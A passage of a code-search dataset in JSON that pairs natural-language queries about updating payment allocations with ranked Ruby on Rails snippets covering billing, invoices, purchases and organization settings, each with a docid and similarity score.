"text": "def exec_block\n yield self\n finalize!\n end",
"title": ""
},
{
"docid": "8dd1bc34549001989044a1f5b723e96a",
"score": "0.558552",
"text": "def store_context(hash)\n self.class.context.merge! hash\n end",
"title": ""
},
{
"docid": "7989e39cfb00ce5f0edb6950bf7b8651",
"score": "0.55777866",
"text": "def enter\n result = current.__into__\n yield result if result && block_given?\n result\n end",
"title": ""
},
{
"docid": "eb85c3d46b02b2c4d7543ba4d70bfd25",
"score": "0.5568924",
"text": "def run_in_context(o={}, &block)\n if o\n context_stack.push self\n set_vars_from_options(o)\n instance_eval &block if block\n context_stack.pop\n else\n super\n end\n end",
"title": ""
},
{
"docid": "20e1ff81a984d7e6353f92928be394ca",
"score": "0.5560014",
"text": "def collect(&block)\n ::Yabeda.collectors.push(block)\n end",
"title": ""
},
{
"docid": "20e1ff81a984d7e6353f92928be394ca",
"score": "0.5560014",
"text": "def collect(&block)\n ::Yabeda.collectors.push(block)\n end",
"title": ""
},
{
"docid": "20e1ff81a984d7e6353f92928be394ca",
"score": "0.5560014",
"text": "def collect(&block)\n ::Yabeda.collectors.push(block)\n end",
"title": ""
},
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.55596036",
"text": "def context; end",
"title": ""
},
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.55596036",
"text": "def context; end",
"title": ""
},
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.55596036",
"text": "def context; end",
"title": ""
},
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.55596036",
"text": "def context; end",
"title": ""
},
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.55596036",
"text": "def context; end",
"title": ""
},
{
"docid": "e3061c29e5b1c24792771045ed903e06",
"score": "0.55596036",
"text": "def context; end",
"title": ""
}
] |
c1c08833c472782e2336a9a85bc8fe11
|
Update Payment Allocations Process
|
[
{
"docid": "99da33585d1ef712b0ee06dce267b9bf",
"score": "0.78783965",
"text": "def update_allocations\n puts \"Running payment_process.update_allocations\"\n create_allocation_transactions\n # verify_journal_set\n end",
"title": ""
}
] |
[
{
"docid": "644c5348277be8161ff6a377e6ecfbc1",
"score": "0.63160497",
"text": "def adjust_all_invoice_allocations\n if changed_attributes[:service_provider_service_amount]\n # puts \"CHANGED: invoice_allocations.size: #{invoice_allocations.size}\"\n adjust_invoice_allocations(\"ServiceProvider\")\n end\n\n if changed_attributes[:item_cost_1] ||\n changed_attributes[:item_cost_2] ||\n changed_attributes[:item_cost_3]\n # puts \"CHANGED: invoice_allocations.size: #{invoice_allocations.size}\"\n adjust_invoice_allocations(\"Supplier\")\n end\n end",
"title": ""
},
{
"docid": "a771a563f77a090eaa2c4707e013c57f",
"score": "0.6163088",
"text": "def payments_updated!\n set_total_and_amount_available\n save #para que corra callbacks\n end",
"title": ""
},
{
"docid": "98f1481d56920945ca088a76b04e571c",
"score": "0.60453266",
"text": "def recalc_totals_from_db!\n self.allocated = self.payment_allocates.sum(:amount)\n self.save!\n end",
"title": ""
},
{
"docid": "877a7dfd713987898528eea76c7fc836",
"score": "0.6032051",
"text": "def update\n\n @gstr_advance_payment = GstrAdvancePayment.update_gstr_advance_payment(params, @company.id, @current_user, @financial_year.year.name)\n @gstr_advance_payment.amount = @gstr_advance_payment.get_total_amount\n id = @gstr_advance_payment.id\n respond_to do |format|\n\n if @gstr_advance_payment.valid? \n @gstr_advance_payment.save\n @gstr_advance_payment.register_user_action(request.remote_ip, 'updated')\n @gstr_advance_payment.update_and_manage_status(request.remote_ip,id)\n GstrAdvancePaymentFilerWorker.update_entries(@company.id,@gstr_advance_payment.id)\n format.html { redirect_to(@gstr_advance_payment, :notice => 'gstr_advance_payment was successfully updated.') }\n format.xml { head :ok }\n \n \n else\n @gstr_advance_payment.gstr_advance_payment_line_items.each do |line_item|\n (2-line_item.gstr_advance_payment_taxes.size).times{line_item.gstr_advance_payment_taxes.build}\n end\n @products = Product.get_sales_products(@company.id)\n @from_accounts = TransactionType.fetch_to_accounts(@company.id,'sales')\n @to_accounts = TransactionType.fetch_to_accounts(@company.id, 'payments')\n @tax_accounts = TransactionType.fetch_to_accounts(@company.id, 'tax')\n @bank_accounts = TransactionType.fetch_to_accounts(@company.id,'receipts')\n @customer_account_heads = AccountHead.get_customer_and_vendor_account_heads(@company.id)\n @voucher_setting = VoucherSetting.find_by_company_id_and_voucher_type(@company.id, 26)\n # @gstr_advance_payment.voucher_number = @voucher_setting.gstr_advance_payment_voucher_number(@company)\n @shipping_accounts = Account.get_other_expense_accounts(@company)\n @sales_account_heads = AccountHead.get_sales_account(@company.id)\n @tax_account_heads = AccountHead.get_duties_and_taxes_account(@company.id)\n @states = State.where(country_id: 93)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gstr_advance_payment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e60de48a8541f5ccd2ffa5a15e8e73f4",
"score": "0.59697926",
"text": "def update\r\n @retail_plan = set_retail_plan\r\n billing_site_id = @retail_plan.billing_site_id\r\n count = 0\r\n\r\n # debug\r\n # charge_factories_params = params[:retail_plan][:charge_factories_attributes]\r\n daily_usage_charges_params = params[:retail_plan][:daily_usage_charges_attributes]\r\n global_usage_charges_params = params[:retail_plan][:global_usage_charges_attributes]\r\n metering_charges_params = params[:retail_plan][:metering_charges_attributes]\r\n supply_charges_params = params[:retail_plan][:supply_charges_attributes]\r\n capacity_charges_params = params[:retail_plan][:capacity_charges_attributes]\r\n certificate_charges_params = params[:retail_plan][:certificate_charges_attributes]\r\n\r\n daily_usage_charges_params.values.each do |attrs|\r\n DailyUsageCharge.find(attrs[:id]).update_attributes(attrs.slice!(:id))\r\n end\r\n global_usage_charges_params.values.each do |attrs|\r\n GlobalUsageCharge.find(attrs[:id]).update_attributes(attrs.slice!(:id))\r\n end\r\n\r\n # MeteringCharge and SupplyCharge do not have attributes\r\n metering_charges_params.values.each do |attrs|\r\n MeteringCharge.find(attrs[:id]).update_attributes(attrs.slice!(:id))\r\n end\r\n supply_charges_params.values.each do |attrs|\r\n SupplyCharge.find(attrs[:id]).update_attributes(attrs.slice!(:id))\r\n end\r\n\r\n #Capacity and Certificate Charges atrributes\r\n capacity_charges_params.values.each do |attrs|\r\n CapacityCharge.find(attrs[:id]).update_attributes(attrs.slice!(:id))\r\n end\r\n certificate_charges_params.values.each do |attrs|\r\n CertificateCharge.find(attrs[:id]).update_attributes(attrs.slice!(:id))\r\n end\r\n\r\n plan_params = params[:retail_plan].slice!(:charge_factories_attributes, :daily_usage_charges_attributes, :global_usage_charges_attributes, :metering_charges_attributes, :supply_charges_attributes, :capacity_charges_attributes, :certificate_charges_attributes)\r\n permitted = plan_params.permit!\r\n\r\n if @retail_plan.update_attributes(permitted)\r\n redirect_to billing_site_retail_plan_url(@retail_plan), notice: \"Update Success\"\r\n else\r\n render :edit, alert: \"Update Failed\"\r\n end\r\n end",
"title": ""
},
{
"docid": "95d99ea59f89a9d23a83b42bd80a6c7b",
"score": "0.596727",
"text": "def perform_updation(details)\n begin\n\n details = details || []\n\n discounted_line_items = EventOrderLineItem.where(id: details.collect{|d| d[:discounted_line_item_id]})\n event_order_line_items = EventOrderLineItem.where(id: details.collect{|d| d[:item_id]})\n seating_category_associations = EventSeatingCategoryAssociation.where(id: details.collect{|d| d[:category_id]}).includes(:seating_category)\n payment_gateway_mode_association = PaymentGatewayModeAssociation.find_by_id(details.collect{ |d| d[:payment_gateway_mode_association_id] }.uniq.last)\n\n (details || []).each_with_index do |detail, index|\n begin\n\n discounted_line_item = discounted_line_items.find{|d| d.id == detail[:discounted_line_item_id].to_i}\n discount = detail[:discount]\n status = detail[:status]\n is_transferred = detail[:is_transferred]\n transferred_ref_number = detail[:transferred_ref_number]\n sadhak_profile_id = detail[:sadhak_profile_id]\n item = event_order_line_items.find{|i| i.id == detail[:item_id]}\n category = seating_category_associations.find{|s| s.id == detail[:category_id]}\n\n # Calculate tax details if there is some amount to pay\n if detail[:item_payable_amount] - detail[:item_discount_amount] > 0\n begin\n # Calculate tax details per item\n tax_details = self.event.calculate_tax_amount(original_amount: detail[:item_payable_amount], total_discount: detail[:item_discount_amount])\n\n if payment_gateway_mode_association.present?\n\n convenience_charges_detail = payment_gateway_mode_association.tax_on_transaction_charges(tax_details[:total_payable_amount])\n\n convenience_charges = convenience_charges_detail[:total_transaction_charges]\n\n tax_details.merge!(convenience_charges_detail)\n\n else\n\n convenience_charges = ((tax_details[:total_payable_amount] * detail[:gateway_tax_percentage]).to_f / 100).rnd\n\n end\n\n tax_details[:convenience_charges] = convenience_charges\n\n rescue => e\n Rollbar.error(e)\n end\n else\n logger.info(\"EventOrder: perform_updation: tax_details: #{index}\\nTax details cannot be calculated as payable amount for this item is: #{detail[:item_payable_amount] - detail[:item_discount_amount]}\")\n end\n\n # if is_transferred is false means discounted_line_item and item both are same\n if discounted_line_item.id == item.id and not is_transferred\n\n # Update status, transferred_ref_number, syid, event_seating_category_association_id, seating category id, discount and price to event order line item\n logger.info(\"Model: EventOrder, Method: perform_updation, Message: event_order_line_item_id: #{item.try(:id)} update (status, transferred_ref_number, syid and event_seating_category_association_id and price, seating_category and discount) error, errors: #{item.errors.full_messages}\") unless item.update(sadhak_profile_id: sadhak_profile_id, event_seating_category_association_id: category.id, price: category.price, seating_category_id: category.try(:seating_category).try(:id), status: status, transferred_ref_number: transferred_ref_number, discount: discount)\n\n # Update event registration\n registration = item.event_registration\n\n # Update status, transferred_ref_number, syid and event_seating_category_association_id and price to event registration\n logger.info(\"Model: EventOrder, Method: perform_updation, Message: registration id: #{registration.try(:id)} update (status, syid and event_seating_category_association_id) error, errors: #{registration.errors.full_messages}\") unless registration.update(sadhak_profile_id: sadhak_profile_id, event_seating_category_association_id: category.id, status: status)\n\n # Update item tax details\n item.update_item_tax_detail(tax_details)\n\n else\n\n # Update discount of event order line item\n logger.info(\"Model: EventOrder, Method: perform_updation, Message: event_order_line_item_id: #{discounted_line_item.try(:id)} update (discount) error, errors: #{discounted_line_item.errors.full_messages}\") unless discounted_line_item.update(discount: discount)\n\n\n # Update status, transferred_ref_number, syid and event_seating_category_association_id and price to event order line item\n logger.info(\"Model: EventOrder, Method: perform_updation, Message: event_order_line_item_id: #{item.try(:id)} update (status, transferred_ref_number, syid and event_seating_category_association_id and price) error, errors: #{item.errors.full_messages}\") unless item.update(status: status, transferred_ref_number: transferred_ref_number)\n\n # Update event registration\n registration = item.event_registration\n\n # Update status, transferred_ref_number, syid and event_seating_category_association_id and price to event registration\n logger.info(\"Model: EventOrder, Method: perform_updation, Message: registration id: #{registration.try(:id)} update (status, syid and event_seating_category_association_id) error, errors: #{registration.errors.full_messages}\") unless registration.update(status: status)\n\n # Update item tax details\n discounted_line_item.update_item_tax_detail(tax_details)\n end\n\n rescue => e\n Rollbar.error(e)\n end\n end\n\n # Calculate total discount for specific event order\n # total_discount = self.event_order_line_items(true).collect{|x| x.discount.to_f}.sum\n # logger.info(\"Model: EventOrder, Method: perform_updation : Error while updating event order total discount: #{self.errors.full_messages}\") unless self.update_column(\"total_discount\", total_discount)\n\n # Update tax details\n update_event_order_tax_details\n\n rescue => e\n logger.info(\"Runtime Exception: #{e.message}\")\n Rollbar.error(e)\n end\n end",
"title": ""
},
{
"docid": "2940113d7afae9f8f0795418ffcf2896",
"score": "0.5966849",
"text": "def update\n @rewards_allocation.update(rewards_allocation_params)\n @rewards_allocation = RewardsAllocation.new\n @rewards_allocations = RewardsAllocation.all \n end",
"title": ""
},
{
"docid": "e215972f90a78e538e430c38ce584da4",
"score": "0.5955003",
"text": "def update\n respond_to do |format|\n if @apartment_payment.update(apartment_payment_params)\n format.html { redirect_to office_deal_apartment_payment_path(@office_deal,@apartment_payment), notice: 'Apartment payment was successfully updated.' }\n format.json { render :show, status: :ok, location: @apartment_payment }\n else\n format.html { render :edit }\n format.json { render json: @apartment_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20bb8f781347839435757817fab1361c",
"score": "0.59117484",
"text": "def updatecounts\n #als = ActivationLog.all\n authcode = Authcode.all\n #als.map { |al| Authcode.find(:first, :conditions => { :license_name => al.license_name, :code => al.authorization_code }) }\n @updated = []\n authcode.each do |ac|\n if !ac.nil?\n comps = ActivationLog.computers_for_ac(ac.code, ac.license_name)\n num_active_comps = comps[0].length\n num_unactive_comps = comps[1].length\n if ac.current_active_registrations != num_active_comps || ac.active_registrations != num_active_comps + num_unactive_comps\n ac_record = [ac, ac.active_registrations, ac.current_active_registrations]\n ac.current_active_registrations = num_active_comps\n ac.active_registrations = num_active_comps + num_unactive_comps\n ac.save\n @updated << ac_record\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c537025369a773209e827c03d10297be",
"score": "0.59046423",
"text": "def update\n if params['cancel']\n redirect_to edit_agency_url(@agency) and return\n end\n params[:location][:new_plans] ||= [] # in case no checkboxes are checked\n params[:location][:plan_hq] ||= [] # in case no checkboxes are checked\n\n @location = @agency.locations.find(params[:id])\n @location.updated_by = current_user.login\n\n @location.build_mailing_address() if [email protected]_address\n @location.mailing_address.update_attributes(mailing_address_parameters)\n @location.mailing_address.address_type='mailing'\n\n @location.build_dropin_address() if [email protected]_address\n @location.dropin_address.update_attributes(dropin_address_parameters)\n @location.dropin_address.address_type='dropin'\n\n update_pha_contact\n @location.attributes = location_parameters\n\n if @location.mailing_address.valid? and @location.dropin_address.valid? and @location.valid?\n @location.mailing_address.save \n @location.dropin_address.save\n @location.update_restrictions(params)\n @location.save\n flash[:notice] = 'Location was successfully updated.'\n redirect_to edit_agency_url(@agency) and return if params['update_and_return']\n redirect_to agencies_path() and return if params['update_and_list']\n redirect_to edit_agency_location_url(:agency_id => @agency, :id => @location)\n else\n flash[:error] = \"There was a problem trying to save your information.\" # flash not being set by validations ????\n # setting object @new_restrictions in order to correct displaying partial _new_restriction_form.rhtml\n @new_restrictions = @location.get_empty_restrictions\n render :action => \"edit\" \n end\n end",
"title": ""
},
{
"docid": "5aa8a0ea183c23a3577ff9495fbb721f",
"score": "0.58847475",
"text": "def perform\n ### List all preassigned properties which have not been registered\n ### by the vendor and have exceeded the limit of 1 months\n AddressDistrictVendor.where(vendor_registered: false).where(\"expiry_date < ?\", Date.today).update_all(expired: true)\n end",
"title": ""
},
{
"docid": "69a0ed1d66e2abb241e8b25d3328b908",
"score": "0.58806235",
"text": "def update\n @bill = Bill.find(params[:bill_id])\n @billed_adjustment = @bill.billed_adjustments.find(params[:id])\n\n respond_to do |format|\n if @billed_adjustment.update_attributes(params[:billed_adjustment])\n @bill.billed_taxes.each do |billed_tax|\n billed_tax.recalculate\n end\n #We have to save the flag here, other wise it woun't reflect when the landing page is loaded\n @bill.pending_flag = true\n @bill.save\n call_rake :regenerate_bill, :bill_id => params[:bill_id]\n flash[:notice] = 'Bill is being re-generated.'\n format.html { redirect_to(billing_session_bills_url(@bill.billing_session) + \"?page=\" + params[:page].to_s) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @billed_adjustment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cf14074b48e5a38d5c58ccc49463c14",
"score": "0.5857218",
"text": "def update\n\n @purchase_advance = PurchaseAdvance.update_payment(params, @company.id, @current_user, @financial_year.year.name)\n respond_to do |format|\n if @purchase_advance.valid?\n @purchase_advance.update_and_manage_status(request.remote_ip)\n format.html { redirect_to(@purchase_advance, :notice => 'Payment voucher was successfully updated.') }\n format.xml { head :ok }\n else\n @from_accounts = TransactionType.fetch_from_accounts(@company.id,'payments')\n if @purchase_advance.other_payment?\n @to_accounts = TransactionType.fetch_to_accounts(@company.id, 'payments')\n else\n @to_accounts = TransactionType.fetch_to_accounts(@company.id, 'sales')\n end\n @payment_detail = @purchase_advance.payment_detail\n @from_account_heads = AccountHead.get_payment_from_heads(@company.id)\n @to_account_heads = AccountHead.get_payment_to_heads(@company.id)\n @voucher_setting=VoucherSetting.by_voucher_type(7, @company.id).first\n if !params[:back_action].blank? && params[:back_action]==\"allocate\"\n # [email protected]_branch_id(@current_user.branch_id).by_deleted(false).by_status(0).by_vendor(@purchase_advance.to_account_id).by_currency(@purchase_advance.to_account.get_currency_id)\n # @gstr_advance_purchases_payments=purchases.map { |purchase| PurchasesPayment.new(:purchase_id=>purchase.id, :tds_amount=>nil, :amount=>nil) if @purchase_advance.gstr_advance_purchases_payments.exists?(:purchase_id=> purchase.id) }\n # [email protected]_branch_id(@current_user.branch_id).by_deleted(false).by_credit_expenses().by_status(0).by_account(@purchase_advance.to_account_id).by_currency(@purchase_advance.to_account.get_currency_id)\n # @expenses_payments=expenses.map{ |expense| ExpensesPayment.new(:expense_id=>expense.id, :tds_amount=> nil, :amount=>nil) if @purchase_advance.expenses_payments.where(:expense_id=>expense.id).blank?}\n\n [email protected](\"id not in(?)\",@purchase_advance.gstr_advance_purchases_payments.map { |e| e.purchase_id }).by_branch_id(@current_user.branch_id).by_deleted(false).by_status(0).by_vendor(@purchase_advance.to_account_id).by_currency(@purchase_advance.to_account.get_currency_id)\n purchases.map { |purchase| @purchase_advance.gstr_advance_purchases_payments.build(:purchase_id=>purchase.id, :tds_amount=>nil, :amount=>nil)}\n [email protected](\"id not in(?)\",@purchase_advance.expenses_payments.map { |e| e.expense_id }).by_branch_id(@current_user.branch_id).by_deleted(false).by_credit_expenses().by_status(0).by_account(@purchase_advance.to_account_id).by_currency(@purchase_advance.to_account.get_currency_id)\n expenses.map{ |expense| @purchase_advance.expenses_payments.build(:expense_id=>expense.id, :tds_amount=>nil, :amount=>nil) }\n format.html { render :action => \"allocate\" }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @purchase_advance.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "409c7d4d2dd434e325c8961935a59e0d",
"score": "0.58503914",
"text": "def add_auto_allocation\n @auto_allocation_activate = Batch.where(\"id = #{params[:id]}\").first.update_attribute(:auto_allocation_status,\"ACTIVATE\");\n redirect_to :controller => \"admin/batch\", :action => \"allocate\", :page => params[:page]\n end",
"title": ""
},
{
"docid": "d7890f3f7dbcdf6dee5cfbdb7a8b25b0",
"score": "0.5819615",
"text": "def update\n respond_to do |format|\n if @allocation.update(allocation_params)\n\n else\n format.json { render json: @allocation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8779ddcf73e48740c18617678032761",
"score": "0.5809395",
"text": "def update \n\t\t@user = logged_in_user\n\t\t@organization = Organization.find(params[:id])\t\t\n\t\tsuccess = false\t\t\n\t\tif params[:organization_address] \n organization_address = OrganizationAddress.find_by_url_portion(params[:organization_address][:url_portion])\n if organization_address.nil?\n org_address = OrganizationAddress.new(params[:organization_address])\n success = @organization.save if (@organization.organization_addresses << org_address if org_address.valid?)\n else \n success = organization_address.update_attribute(\"created_at\", DateTime.now)\n end\t\t\n\t\telsif params[:paypal_credential]\n\t\t\tsuccess = @organization.update_paypal_credentials(params[:paypal_credential])\n\t\telsif params[:authorize_credential]\n success = @organization.update_authorize_credentials(params[:authorize_credential]) \n\t\telsif params[:organization]\n\t\t\torg_opts = params[:organization]\n\t\t\torg_opts[:background_color] = params[\"yui-picker-hex\"] if params[\"yui-picker-hex\"]\n if params[:organization][:branded_logo_directs_to] && params[:organization][:branded_logo_directs_to].chars[0..4] != \"http:\"\n params[:organization][:branded_logo_directs_to] = \"http://\"+params[:organization][:branded_logo_directs_to].to_s\n end \n\t\t\tsuccess = @organization.update_attributes(org_opts) \n \n\t\telsif params[:donation_options]\n\t\t\tif params[:donation_options][:categories_switch] != \"true\" || params[:donation_options][:amount].nil?\n\t\t\t\tsuccess = @organization.update_attributes(:multiple_choice_donations => nil)\n\t\t\telse\n\t\t\t\tif params[:donation_options][:named_categories] != \"true\"\n\t\t\t\t\tamounts = params[:donation_options][:amount].map(&:to_f).select{ |i| i > 0 }.sort\n\t\t\t\t\tsuccess = @organization.update_attributes(:multiple_choice_donations => amounts)\n\t\t\t\telse\n\t\t\t\t\tcats = {}\n\t\t\t\t\tparams[:donation_options][:amount].each_with_index do |a, i|\n\t\t\t\t\t\tamt = a.gsub(/[^(\\d|.|,)]/, \"\").to_f\n\t\t\t\t\t\tcats[amt] = params[:donation_options][:category][i].to_s if amt > 0\n\t\t\t\t\tend\n\t\t\t\t\tsuccess = @organization.update_attributes(:multiple_choice_donations => cats)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n \n\n\t\tif params[:photo] && !params[:photo][:uploaded_data].blank?\n\t\t\tphoto = BrandedLogo.new(params[:photo])\n\t\t\tif !photo.filename.blank? && photo.save\n\t\t\t\[email protected]_logo = photo\n\t\t\tend\n\t\t\tsuccess = @organization.save\n\t\tend\n\n\n\n if @organization.organization_addresses.first.url_portion.nil? || @organization.organization_addresses.first.url_portion == \"\"\n url_id = @organization.id \n else\n url_id = @organization.organization_addresses.first.url_portion \n end\n\n\t\t\n\t\t\n\t\tif success\n if @organization.who_will_choose_fund == \"the_donors\" || @organization.who_will_choose_fund == \"all_gifts_will_be_unrestritced\" \n set_default_fund_against_all_campaigns_of_current_organization() \n end\n\t\t\tflash[:notice] = 'Organization was successfully updated.'\n\t\t\tredirect_to :action=>\"show\" , :id => url_id\n\t\telse\n\t\t\tflash[:notice] = \"There was a problem.\"\n\t\t\tredirect_to :action => \"manage\", :id => url_id\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b9b4be3b3cb49f1d5ce7e2525739cbbe",
"score": "0.58061284",
"text": "def update\n respond_to do |format|\n pars = allocation_params\n #adjust_consumer pars\n if @allocation.update(pars)\n format.html { redirect_to @allocation, notice: t('.update_ok', item: @allocation.consumer_name) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @allocation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b351d9aa3fb1f5689ea2b53a2e4fcf88",
"score": "0.5799611",
"text": "def purchase_update(id, type, paypal_fees)\n \n puts \"params[:allied][:id]\"\n if type == \"paypal\"\n @pur = Purchase.find(:first, :conditions => ['txn_id = ?',id])\n else\n @pur = Purchase.find(params[:allied][:id])\n end\n \n @event = Event.find(@pur[:event_id])\n @order = OrderForm.find(:first, :conditions => ['event_id=?', @event[:id]])\n @site = SiteSetting.find(:first)\n \n if @order\n else\n @order = OrderForm.new\n end\n\n\n if @pur[:payment] == 0\n \n if @pur[:all_ids]!=nil && @pur[:all_qtys]!=nil\n @pur.update_attributes(:payment => 1)\n \n if @pur[:ticket_id] == 0\n @pur_total = Purchase.find(:all, :conditions => [\"transaction_key = ?\", @pur[:id]])\n @pur_total.each do |purchase|\n purchase.update_attributes(:payment => 1)\n end # end each \n end # end tkt id 0\n \n @ids = @pur[:all_ids].split(',')\n @qtys = @pur[:all_qtys].split(',')\n \n k=0\n for id in @ids\n @tot_tic = Ticket.find(id.to_i)\n used = @qtys[k].to_i + @tot_tic[:used]\n Ticket.update_all([\"used = ? \", used], [\"id = ?\", id.to_i])\n \n k+=1\n end\n end\n \n if @pur[:promotioal_code_id] > 0\n PromotionalCode.update_all([\"used_cnt = used_cnt+1 \"], [\"id = ?\", @pur[:promotioal_code_id]]) \n end\n \n @all_pur = Purchase.find(:all, :conditions => ['transaction_key=?', @pur[:id]])\n \n \n if @all_pur.count > 0\n for all in @all_pur\n generate_pdf(all, @event) \n end\n end\n \n generate_pdf(@pur, @event)\n \n UserMailer.confirm_order(@pur).deliver\n # UserMailer.confirm_order_admin(@pur).deliver\n \n #send message to event orgenizer\n @event_org = User.find(@event[:user_id])\n UserMailer.confirm_order_org(@pur,@event_org).deliver\n @multi_org = User.find(:all , :conditions =>['ref_id=?', @event_org[:id]])\n \n if @multi_org && @multi_org!=nil\n \n for multi in @multi_org\n ##@milti_org.each do |milti|\n act = 'order_confirm'\n @send_email = Event.has_email_rights(multi, @event, act)\n if @send_email ==1\n UserMailer.confirm_order_org(@pur,multi).deliver\n end\n \n end\n \n end\n \n #Signal.trap(\"PIPE\", \"EXIT\")\n end # end if payment is 0\n \n \n if @pur[:total] > 0 \n @wallet = Wallet.new\n @wallet[:credit] = @pur[:ticket_amt]\n @wallet[:purchase_id] = @pur[:id]\n @wallet[:user_id] = @event[:user_id]\n @wallet[:event_id] = @event[:id]\n @wallet.save\n end\n \n end",
"title": ""
},
{
"docid": "d01299fcb24f0e7874060ad3e4bbe86b",
"score": "0.57913417",
"text": "def update_totals\n # update_adjustments\n self.payment_total = payments.completed.map(&:amount).sum\n self.item_total = line_items.map(&:amount).sum\n self.adjustment_total = adjustments.eligible.map(&:amount).sum\n self.total = item_total + adjustment_total\n end",
"title": ""
},
{
"docid": "8ee2a6c1da2b1fbd85aceda737e42d17",
"score": "0.57537466",
"text": "def update_payment_history\n end",
"title": ""
},
{
"docid": "06cff9d10f324b2750f6d05912dc3644",
"score": "0.5753655",
"text": "def update\n @bill = Bill.find(params[:bill_id])\n @billed_service = @bill.billed_services.find(params[:id])\n\n respond_to do |format|\n if @billed_service.update_attributes(params[:billed_service])\n @bill.billed_taxes.each do |billed_tax|\n billed_tax.recalculate\n end\n #We have to save the flag here, other wise it woun't reflect when the landing page is loaded\n @bill.pending_flag = true\n @bill.save\n call_rake :regenerate_bill, :bill_id => params[:bill_id]\n flash[:notice] = 'Bill is being re-generated.'\n format.html { redirect_to(billing_session_bills_url(@bill.billing_session) + \"?page=\" + params[:page].to_s) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @billed_service.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ed3afee345b576689d1a68ffa72c325",
"score": "0.5736388",
"text": "def update\n @resource_vteam_allocation = ResourceVteamAllocation.find(params[:id])\n unless params[:resource_vteam_allocation][:billing_rate].nil?\n params[:resource_vteam_allocation][:billing_rate] = ((params[:resource_vteam_allocation][:billing_rate].to_f * 10**2).round.to_f / 10**2).to_s\n end\n respond_to do |format|\n if @resource_vteam_allocation.update_attributes(params[:resource_vteam_allocation])\n @resource_vteam_allocations_active = ResourceVteamAllocation.order(\"created_at DESC\").search({:vteam_id_eq => params[:vteam_id].to_i, :active_eq => true}).paginate(:per_page => Placement.per_page, :page=>params[:page])\n @resource_vteam_allocations_deactive = ResourceVteamAllocation.order(\"created_at DESC\").search({:vteam_id_eq => params[:vteam_id].to_i, :active_eq => false}).paginate(:per_page => Placement.per_page, :page=>params[:page])\n format.html # new.html.erb\n format.js\n format.xml { head :ok }\n else\n format.xml { render :xml => @resource_vteam_allocation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b8821363cfead03bf62140124c73464",
"score": "0.5699944",
"text": "def update\n if params['cancel']\n redirect_to edit_agency_url(@agency) and return\n end\n @plan = @agency.plans.find(params[:id])\n @plan.updated_by = current_user.login\n params[:plan][:new_locations] ||= [] # in case no checkboxes are checked\n #@plan.build_restriction if [email protected]\n #update_restriction\n\n update_pha_contact\n \n is_ok = true\n @plan.transaction do\n begin\n @plan.update_attributes!(plans_parameters)\n @plan.update_restrictions(params)\n rescue\n logger.error($!)\n is_ok = false\n end\n end\n\n if is_ok\n flash[:notice] = 'Plan was successfully updated.'\n redirect_to edit_agency_url(@agency) and return if params['update_and_return']\n redirect_to agencies_path() and return if params['update_and_list']\n redirect_to edit_agency_plan_url(:agency_id => @agency, :id => @plan)\n else\n # setting object @new_restrictions in order to correct displaying partial _new_restriction_form.rhtml\n @new_restrictions = @plan.get_empty_restrictions\n render :edit\n end\n end",
"title": ""
},
{
"docid": "3a6ac4ba967d3d451671b68b4628a24f",
"score": "0.5679024",
"text": "def update\n old_ids = @organization.member_ids.dup\n respond_to do |format|\n if @organization.update(organization_params)\n new_ids = Organization.find(@organization.id).member_ids\n changed_ids = (old_ids-new_ids) + (new_ids-old_ids)\n @organization.accessible_oauth_apps.each do |app|\n UpdateAppAccessorsJob.perform_later(app.id, changed_ids)\n end\n format.html { redirect_to settings_organizations_path, notice: \"Organization was successfully updated.\" }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9284b10a718aefc5976c2c9194cf7ef1",
"score": "0.56778973",
"text": "def update\n @payment = Payment.find(params[:id])\n cheil_solution = @payment.solution\n invalid_op if cheil_solution.org_id != @cur_user.org_id\n\n if @payment.update_attributes(params[:payment])\n brief = cheil_solution.brief\n vendor_solution = brief.vendor_solutions.where(:org_id=>@payment.org_id).first\n vendor_solution.cal_pay \n vendor_solution.save\n\n cheil_solution.cal_pay\n cheil_solution.save\n\n redirect_to payment_cheil_solution_path(cheil_solution)\n else\n render action: \"edit\" \n end\n end",
"title": ""
},
{
"docid": "d4dffda183e4b8a8e3a513e1871cf67a",
"score": "0.5669",
"text": "def customize_ap\n current_ap = AccountPayable.where(\"supplier_id=#{supplier_id} AND due_date>'#{Time.now.strftime(\"%Y-%m-%d\")}'\").order(\"id DESC\").limit(1).first\n current_ap.update_attributes(retur_amount: current_ap.retur_amount.to_f + total.to_f, outstanding_amount: current_ap.outstanding_amount.to_f-total.to_f)\n end",
"title": ""
},
{
"docid": "213ead091dc846b4a0f270ebce85357f",
"score": "0.5662784",
